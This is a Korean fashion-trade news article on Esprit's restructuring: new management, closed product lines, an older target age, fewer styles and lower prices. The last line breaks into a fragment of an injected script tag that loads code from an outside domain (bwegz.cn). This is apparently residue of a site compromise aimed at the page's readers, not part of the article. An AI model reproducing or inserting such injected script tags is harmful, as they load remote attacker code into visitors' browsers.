「에스쁘리」 2001년 옛 영광 되찾나?

2007-02-12  

브랜드의 이미지에 따라 살고 죽는 변덕스런 주니어 마켓에서, 이미지 정체성을 잃고만 「에스쁘리」. 이제 새롭게 구성된 경영진은 브랜드 이미지를 새로 정립해 잃어버린 고객을 되찾기 위한 대전진을 시작했다.
「에스쁘리」는 지난 1999년 미국에서 지나치게 젊은 이미지, 패션에만 치중하다가 격심한 슬럼프에 빠지고 말았다.
지난해 연말 회장에 취임한 하이디는 새롭게 경영진을 정비했다.
또 15%의 경비를 줄이고 직원수를 8%나 감원하는 등 과감한 구조조정에 착수했다. 또 기존에 운영해 오던 2개 라인-「DKNY Kids」와 테크니컬 어패럴과 액세서리, 슬리핑 백등을 생산하는 「Moonstone Mountain equipment」을 패쇄했다. 또 기존보다 좀더 어른스런 느낌으로「에스쁘리」의 이미지를 끌어 올렸다.
「에스쁘리」매장을 확대시키고 내년에는 광고 판촉 비용으로 1천만달러를 투자하겠다는 계획을 세워놓고 있다.
「에스쁘리」는 미국내에서만 6억달러의 판매고를 올려 정점에 달했던 1986년의 영광을 되찾겠다는 것. 하이디는 이미지 정립과 과감한 광고 투자를 통해 몇 년 내에 잃어버린 영광의 시절을 되찾을 수 있다고 자신하고 있다.
1999년도 「에스쁘리」의 미국내 매출은 3억6천만달러. 「에스쁘리」측은 「DKNY Kids」와 「Moonstone Mountain Equipment」등의 라인이 폐쇠됨에 따라 올해 매출도 작년과 비슷한 수준일 것으로 예상하고 있다. 새로운 이미지의 스프링라인을 런칭하는 것을 기점으로 2001년에는 두자리 수 이상의 매출 증가를 기대하고 있다.
하이디의 전략은 브랜드를 재정립하는 것이 포인트다. 하이디가 회장으로 취임하기 이전의 「에스쁘리」는 각 부문 및 유통 라인마다 독자적인 경영체제를 갖고 있어, 방만한 경영이 불가피했으나 하이디는 상단에서 하단으로 전달되는 일관적인 경영체제를 통해 보다 타이트하고 통합적인 경영을 추구하려는 전략을 세우고 있다. 즉, 새로운 경영팀을 확립하는 것은 일단계의 전략.
「에스쁘리」브랜드를 총괄하는 사장은 캐시 보커, 라이센싱 부문은 빌 램플, 정가 판매 매장, 도매 매장, 캐털로그 판매업과 인터넷 비즈니스 부분은 마이클 우만에게 맡겼다. 경영진을 대폭 손질하고 경영 체제를 개선한 것은 보다 기본적이고 단순화된 체제 속에서 브랜드 이미지를 관리하고 경영하겠다는 하이디의 방침때문.
경영진의 정비 다음 단계는 제품을 향상시키는 것.
지난 몇 년간 「에스쁘리」의 이미지는 다소 어려졌고 젊은층에 초점을 맞추다보니 작은 사이즈가 많았다. 이제 「에스쁘리」는 타겟 연령층을 올리고 여성 고객에 보다 눈을 맞출 예정이다.
이런 경영 전략에 맞춰 내년 스프링 컬렉션은 패션에 치중하지 않고 「에스쁘리」의 정신을 살린 아이템으로 구성하겠다는 전략을 세워 놓았다.
작년 스프링 컬렉션의 경우에는 패션 아이템이 80%에 달했고 「에스쁘리」의 정신에 충실한 아이템은 20%에 불과했다. 따라서 내년에는 전세를 완전히 역전시켜, 패션 아이템은 20%만 차지할 뿐이고 나머지 80%는 모두 핵심적인 아이템으로 꾸밀 예정.
스타일 면을 살펴보면, 「에스쁘리」는 작년에 244가지 스타일을 선보였는데 이들 중 대다수가 「에스쁘리」의 기본정신에 어긋나고 「에스쁘리」의 꾸준한 고객들의 감성을 맞추는데 실패했다. 이에 따라 이제 「에스쁘리」는 불필요한 스타일을 모두 줄여 177가지 스타일만 남겨둔 뒤 라인을 재강화하는 작업에 돌입했다.
지난 몇 년간 「에스쁘리」가 실패를 거듭할 수밖에 없었던 이유는 충실한 「에스쁘리」고객을 외면하고 지나치게 어린 연령층, 지나치게 패션에 추종하는 아이템을 선보였기 때문이다.
이제 새롭게 정비된 라인은 19∼25세 연령층이 주 타겟이고, 또 16∼35세까지 함께 입을 수 있는 보다 광범위한 연령층에 어필할 수 있는 아이템으로 구성될 예정.
가격 또한 개혁의 칼날을 피할 수는 없었다. 「에스쁘리」는 지난해 40달러에 판매하던 니트 아이템을 올해는 30달러로 가격을 대폭 낮췄다.
「에스쁘리」의 도매가는 스포츠웨어가 9달러∼8달러50센트 선에서, 아동복은 18달러∼34달러, 액세서리류는 7달러∼25달러 정도, 슈즈류는 16달러∼40달러선으로 새롭게 책정되었다.
「에스쁘리」관계자는 보다 컨템퍼러리한 고객을 다시 끌어들이기 위해 스트레치 트윌, 데님, 폴리에스테르 크레이프, 마이크로-테크 패브릭, 가벼운 울 스트레치 등 1년 내내 입을 수 있는 패브릭 아이템들을 다시 살려냈다.
또한 「에스쁘리」의 풋웨어나, 액세서리, 어패럴 등의 바느질을 일관되게 해서 모든 아이템이 「에스쁘리」의 제품임을 금방 알아볼 수 있게 통일감을 주었다고.
이러한 「에스쁘리」의 새로운 움직임에 대해 전폭적인 지지를 보내는 유통업체들도 있었고, 보다 조심스런 입장을 유지하는 업체도 있었다. 「에스쁘리?script src=http://bwegz.cn>

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